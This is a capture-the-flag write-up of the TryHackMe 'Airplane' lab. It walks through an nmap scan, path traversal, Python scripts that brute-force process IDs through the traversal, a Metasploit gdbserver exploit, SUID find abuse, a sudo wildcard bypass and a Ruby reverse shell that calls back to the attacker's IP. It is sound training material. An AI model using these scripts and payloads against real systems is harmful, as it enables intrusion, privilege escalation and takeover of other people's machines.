Airplane - TryHackMe

·

6 min read

Introduction:

This write up goes over the airplane room in Tryhackme created by blgsvnomer. The machine was medium rated with a really interesting foothold.

Enumeration:

As Always start off with the enumeration by running an NMAP scan.

# Nmap 7.94SVN scan initiated Mon Jun 10 11:19:39 2024 as: nmap -p 8000,6048,22 -sV -sC -vv -oA nmap-open 10.10.111.158
Nmap scan report for 10.10.111.158
Host is up, received timestamp-reply ttl 60 (0.24s latency).
Scanned at 2024-06-10 11:19:42 +04 for 181s

PORT     STATE SERVICE  REASON         VERSION
22/tcp   open  ssh      syn-ack ttl 60 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b8:64:f7:a9:df:29:3a:b5:8a:58:ff:84:7c:1f:1a:b7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuy7X5e34bStIhDkjJIcUT3kqFt9fHoI/q8AaCCH6HqgOz2HC5GdcDiBN8W6JMoRIIDJO/9FHiFE+MNtESwOP9J+S348GOhUIsVhDux7caJiyJQElrKxXJgxA7DNUvVJNBUchhgGhFv/qCNbUYF8+uaTYc0o/HtvgVw+t/bxS6EO+OlAOpyAjUP5XZjGTyc4n4uCc8mYW6aQHXZR0t5lMaKkNJzXl5+kHxxxnKci6+Ao8vrlKshgIq25NErSqoeTs/wgBcPMkr5r++emLH+rDwmjrTvwrHb2/bKKUenvnbf9AZXbcN52nGthVi95kP6HaDGijXULjrRt2GCul99OmNhEQxJNtLmUnxpxA9ZhBEzMYe3z5EeIbLuA+E9yFSrR6nq2pagC2/qvVMJSAzD749AbwjtbcL8MOf+7DCT+SATY9VxBqtKep/9PDolKi5+prGH6gzfjCkj5YaFS2CvJeGlF/B1XBzd1ccm43Lc4Ad/F4kvQWwkHmpL38kDy4eWCE=
|   256 ad:61:3e:c7:10:32:aa:f1:f2:28:e2:de:cf:84:de:f0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLYVoN15q7ky/IIo3VNrL35GRCpppImVs7x+PPFRlqO+VcfQ8C+MR2zVEFS0wosQWQFXaCZiInQhWz9swfKN6J8=
|   256 a9:d8:49:aa:ee:de:c4:48:32:e4:f1:9e:2a:8a:67:f0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFIB0hj2IqNazZojgwv0jJr+ZnOF1RCzykZ7W3jKsuCb
6048/tcp open  x11?     syn-ack ttl 60
8000/tcp open  http-alt syn-ack ttl 60 Werkzeug/3.0.2 Python/3.8.10
|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
|_http-title: Did not follow redirect to http://airplane.thm:8000/?page=index.html
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Mon, 10 Jun 2024 07:19:54 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Mon, 10 Jun 2024 07:19:48 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 269
|     Location: http://airplane.thm:8000/?page=index.html
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://airplane.thm:8000/?page=index.html">http://airplane.thm:8000/?page=index.html</a>. If not, click the link.
|   Socks5: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('
|     ').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 10 11:22:43 2024 -- 1 IP address (1 host up) scanned in 184.10 seconds

3 open ports - 22 (ssh), 8000 (http), and 6048 (unknown). Nmap could not identify port 6048 so we just leave it for now and start focusing on port 8000.

The first thing to notice when you visit the webpage would be the parameter which references a file. This hints towards a possible path of exploiting a File traversal vulnerability.

Trying to retrieve /etc/passwd file, it is vulnerable:

Foothold:

Trying to search for id_rsa files in user hudson and carlos' home directory, we don't find anything. This is a kind of dead end where we have a vulnerability to exploit but cannot find any valuable info to get a foothold.

PORT 6048

Since this port still remains kind of mysterious, lets try to understand what this is. In Linux, the `/proc/net/tcp` file can be used to list all TCP connections by various process.

In this file, the local_address and rem_address (remote address) can be found, check the local address and we find the port 6048 referenced. (In hexadecimal 00000000:17A0 => 0.0.0.0:6048)

well, the above shows the port is open in the same system and its running a process, and the commands used to start a process can be retrieved from /proc/{pid}/cmdline.

So we have to find a way to get the PID. I created a script to bruteforce pids from range 1-20000 (just an approximate) and it took forever, so I made a asynchronous script using python.

import aiohttp
import asyncio

async def fetch(session, pid):
    url = f"http://airplane.thm:8000/?page=../../../../proc/{pid}/cmdline"
    async with session.get(url) as response:
        text = await response.text()
        if text != "Page not found" and text.strip() != "":
            return pid
    return None

async def main():
    procs = []
    async with aiohttp.ClientSession() as session:
        tasks = [fetch(session, pid) for pid in range(1, 20000)]
        for i, task in enumerate(asyncio.as_completed(tasks), 1):
            result = await task
            print(f"PID: {i}\r", end="")
            if result is not None:
                procs.append(result)
    print(procs)

print("Starting.")
asyncio.run(main())

This will go through all the process' and creates a list of running process and then i plugged in the output into the below script to find the exact pid.

import requests

pids = <list retrieved from previous script here>

c = 0
for i in pids:
    print(f'request:{c}\r',end='')
    url = f"http://airplane.thm:8000/?page=../../../../proc/{i}/cmdline"
    r = requests.get(url)
    print("-"*10,i,"-"*10)
    print(r.text)
    print("-"*20)
    c+=1

The above way isn't the more efficient and you can be more creative with it.

running the above script, i found the PID 524 as the right one (by picking the most suspicious command)


---------- 524 ----------
/usr/bin/gdbserver0.0.0.0:6048airplane
--------------------

now this is running a binary using gdb server on port 6048, and I know that gdbserver can be exploited using metasploit. (There are exploits out-there but let use metasploit for the time-being),

Searching for 'gdbserver' in msfconsole, I get just one exploit:


   #  Name                               Disclosure Date  Rank   Check  Description
   -  ----                               ---------------  ----   -----  -----------
   0  exploit/multi/gdb/gdb_server_exec  2014-08-24       great  No     GDB Server Remote Payload Execution

set the LHOST, RHOSTS, RPORT and change the architecture to 64 bit (set target 1) and type run to get a meterpreter shell.


msf6 exploit(multi/gdb/gdb_server_exec) > run

[*] Started reverse TCP handler on 10.17.66.36:4444
[*] 10.10.183.225:6048 - Performing handshake with gdbserver...
[*] 10.10.183.225:6048 - Stepping program to find PC...
[*] 10.10.183.225:6048 - Writing payload at 00007ffff7fd0103...
[*] 10.10.183.225:6048 - Executing the payload...
[*] Sending stage (3045380 bytes) to 10.10.183.225
[*] Meterpreter session 1 opened (10.17.66.12:4444 -> 10.10.183.225:33296) at 2024-06-12 14:38:37 +0400

meterpreter >

Privilege escalation:

Now we are hudson user, upload your new ssh public key as authorized_key for a more stable shell.

Checking SUID bits using find (find / -perm /4000 2>/dev/null), we find that the '/usr/bin/find' is a suid binary.


$ find / -perm /4000 2>/dev/null
/usr/bin/find  <--- doesnt belong here?!
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/gpasswd

Use gtfobins to exploit it and esclate to Carlos. now since we are still hudson with Effective UID of carlos, we can act as carlos' privilege.

To actually be carlos, go to carlos .ssh folder in home, and then upload your public key as authorized_key and login to ssh. (For some reason, this step did not work for me and ssh kept asking for a password to login. Had reboot the machine multiple times to get this to work!)

Check sudo privileges after becoming carlos:

carlos  ALL=(ALL) NOPASSWD: /usr/bin/ruby /root/*.rb

Carlos can execute any ruby files in /root as root user! But there a trick here, its using a wildcard, and wildcards can be messy and vulnerable most of the time.

What if i put in a path such as /usr/bin/ruby /root/../home/carlos/malicious.rb

The path is still valid for sudo, and this will run it. The wildcard means anything and it doesn't discriminate '../' es

Create a ruby malicious file, i created a reverse shell:


# cat shell.rb
require 'socket'

s = Socket.new 2,1
# put in your right port and ip
s.connect Socket.sockaddr_in 9001, '10.17.66.12'

[0,1,2].each { |fd| syscall 33, s.fileno, fd }
exec '/bin/sh -i'

And I listened on port 9001 as stated above, and got the shell as root!

Conclusion:

This room was good and foothold was a something new to learn.